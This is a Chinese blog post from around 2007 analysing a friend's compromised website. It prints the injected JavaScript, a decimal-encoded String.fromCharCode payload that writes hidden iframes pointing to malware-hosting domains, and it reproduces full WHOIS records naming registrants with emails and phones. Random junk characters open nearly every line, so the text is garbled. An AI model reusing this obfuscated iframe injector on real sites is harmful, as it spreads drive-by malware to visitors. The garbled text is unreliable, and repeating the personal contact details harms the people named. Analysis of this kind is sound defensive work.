首发在我的博客里面，
VQJ5 $4a& Gqu0M`+7 http://www.areway.cn/?p=175 Mh B=+S[@ ?=o]Wx0(9 HOI`F3#XI 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
sN/Xofh kR|Dz B7 <script>t=’60,105,102,114,97,109,101,
2F)OyE 32,115,114,99,61,104,116,116,112,58,47,47,
.\\#~r`t 3 102,114,101,101,46,117,45,117,117,117,46,99,
/]58:euR 110,47,101,114,114,111,114,46,104,116,109,
J x[e{o)o 32,119,105,100,116,104,61,49,48,48,32,104,
)uJ`E8>- 101,105,103,104,116,61,48,62,60,47,105,102,
Z`h_oK#y15 114,97,109,101,62′;
20xGj?M t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
x-k /rZ <5L` d } <script>t=’60,105,102,114,97,109,101,32,115,
@)B5^[4(; 114,99,61,104,116,116,112,58,47,47,102,114,
^rb7`s#G 101,101,46,117,45,117,117,117,46,99,110,47,
0
#;
s{7k 101,114,114,111,114,46,104,116,109,32,119,
d~s -;T 105,100,116,104,61,49,48,48,32,104,101,105,
{*
_ W 103,104,116,61,48,62,60,47,105,102,114,97,
uPD_s[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
-P uVI5L< document.write(t);</script>
E*]L]v R Zl/ +HU~ <html xmlns=”
3gXUfv2ID http://www.w3.org/1999/xhtml #3jZ7RqzQ “>
HUX+d4sg <head>
'n`$c{N<tM <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
,
Vr6
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
_'v )Fy <title>首页 - 爱生活家庭网
V^H47O;VC 9G OyVKU v 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
_C\
d^a ( 转换字符串后的大概内容是（谁点击后果自付）：
o[*ih\d <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
eh=bClk nr%^:u 查询玉米u-uuu.cn的详细信息：
, $*klo d Domain Name: u-uuu.cn
o{ ,(`o.1O ROID: 20070901s10001s64972306-cn
438> )= Domain Status: ok
_ e^V\O> Registrant Organization: 王雷
C'" 6@-~ Registrant Name: 王雷
;L{y3CWT Administrative Email:
czlovexs@126.com $9b6,Y_- Sponsoring Registrar: 北京万网志成科技有限公司
Yhdt8[ 2 Name Server:ns.yovole.com
$ O>MV Name Server:ns1.yovole.com
k.hSN8 Registration Date: 2007-09-01 17:54
3Sb%]f5( Expiration Date: 2008-09-01 17:54
r!=V V!XZ 最后PING了一下地址 都没有什么….
g9`ytWmM #_5+kBA+>' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
!kYmrj** <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
X *;p; N <script language=”javascript” src=”
L^Af3]]2 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script D7oV&vXg >
Eu}A{[^\ 这个玉米应该有可能是木马作者的：
7~g0{W>Zm foafau.info的详细信息：
p_N=V. w Access to INFO WHOIS information is provided to assist persons in
oz r+6z determining the contents of a domain name registration record in the
sVf7g? Afilias registry database. The data in this record is provided by
hYx^D>}]
Afilias Limited for informational purposes only, and Afilias does not
T}LJk S~*l guarantee its accuracy. This service is intended only for query-based
~~
w4854 access. You agree that you will use this data only for lawful purposes
t38T0 Ao and that, under no circumstances will you use this data to: (a) allow,
Z ISd0hV enable, or otherwise support the transmission by e-mail, telephone, or
qd;f]ndo facsimile of mass unsolicited, commercial advertising or solicitations
'S
;vv]}Gs to entities other than the data recipient’s own existing customers; or
N{@ eV][Q (b) enable high volume, automated, electronic processes that send
DA\O,^49h queries or data to the systems of Registry Operator, a Registrar, or
,4UJ| D=J Afilias except as reasonably necessary to register domain names or
3`I_ modify existing registrations. All rights reserved. Afilias reserves
0 <;B2ce the right to modify these terms at any time. By submitting this query,
vpMv you agree to abide by this policy.
b(,[g>xH Domain ID:D22418703-LRMS
q3:'
69 Domain Name:FOAFAU.INFO
9dv~WtH>5 Created On:20-Nov-2007 16:05:42 UTC
)FC qYCfk Last Updated On:20-Nov-2007 16:05:44 UTC
p5hP}Z4r Expiration Date:20-Nov-2008 16:05:42 UTC
60$
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
y%AJ>@/; Status:CLIENT DELETE PROHIBITED
>TJ$Z3 Status:CLIENT RENEW PROHIBITED
Sn,z$-;h; Status:CLIENT TRANSFER PROHIBITED
Rx<F^J Status:CLIENT UPDATE PROHIBITED
NoIdO/vy" Status:TRANSFER PROHIBITED
P$yJA7]j;% Registrant ID:GODA-040110615
e4P.G4 Registrant Name:liu hong
%stktVDAP Registrant Organization:
b
/ySt< Registrant Street1:beijing
.YlM'E*X Registrant Street2:
K a jyQ"j Registrant Street3:
U9s y]7 Registrant City:beijing
e76)z; ' Registrant State/Province:
)}8%Gs4C Registrant Postal Code:100000
'r0gqtB Registrant Country:CN
`w }"0+V Registrant Phone:+86.860108888777
XUHY.M Registrant Phone Ext.:
_Fjv.VQ, Registrant FAX:
>a K&T" Registrant FAX Ext.:
c eX*|B@= Registrant Email:bbbshiji@163.com
BcWReyO<M Admin ID:GODA-240110615
>oNs_{ Admin Name:liu hong
w5Z3e ^g Admin Organization:
03y<'n Admin Street1:beijing
.?TVBbc%5 Admin Street2:
SfR_#"Uu Admin Street3:
5{[0Clb) Admin City:beijing
dWSH\wm+ Admin State/Province:
gS 3&,^ Admin Postal Code:100000
5 D a( DA Admin Country:CN
G Kr
L Admin Phone:+86.860108888777
8Sa<I .l Admin Phone Ext.:
Os;\\~e5 Admin FAX:
3i1>EjML Admin FAX Ext.:
j3U 8@tuG Admin Email:bbbshiji@163.com
x$ * OglaS Billing ID:GODA-340110615
;'urt / Billing Name:liu hong
%qhaVM$] Billing Organization:
rj zRH Billing Street1:beijing
1+Oo Qs Billing Street2:
r+2dBp3 Billing Street3:
ZhU2z*qN# Billing City:beijing
}^t?v*kcA Billing State/Province:
>E# 4mm Billing Postal Code:100000
uNjy&I: Billing Country:CN
Q]C1m <x Billing Phone:+86.860108888777
UWp(3FQ Billing Phone Ext.:
K[H$qJmPX Billing FAX:
Mtlj I6 Billing FAX Ext.:
o/#e
y Billing Email:bbbshiji@163.com
j~0hAKHG Tech ID:GODA-140110615
lDzVc`c Tech Name:liu hong
d!cx %[ Tech Organization:
5{UGSz 1 Tech Street1:beijing
GzX@Av$ Tech Street2:
S6uBk"V! Tech Street3:
O #"O.GX< Tech City:beijing
9b>a<Z
Tech State/Province:
\} 5\^&}_ Tech Postal Code:100000
Wk?XlCj Tech Country:CN
nBd;d}LD Tech Phone:+86.860108888777
(Y86q\DQ?| Tech Phone Ext.:
AiuF3`Xa Tech FAX:
]v#Q\Q8> Tech FAX Ext.:
B(hNBq7 Tech Email:bbbshiji@163.com
9Z whC s O Name Server:NS27.DOMAINCONTROL.COM
Ru/3 >n Name Server:NS28.DOMAINCONTROL.COM
i*3'O :Gq Name Server:
a[!':-R`s Name Server:
YGB|6p( Name Server:
% O-wMl Name Server:
G7u7x?E:B` Name Server:
0X;Dr-3< Name Server:
xM ( Name Server:
G 8@ %)$A Name Server:
F -m1GG0s Name Server:
e2>gQ p/ Name Server:
6xwC1V?:0t Name Server:
}0I ! n@ 5we1q7 接着下载每个文件里面的代码：
q?wB h^ 一步一步看..
"dIoIW 
a,X3=+_ K 
),86Y:^4 
Mw < 1 
~dv
C$ 
1K!7FiqY 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
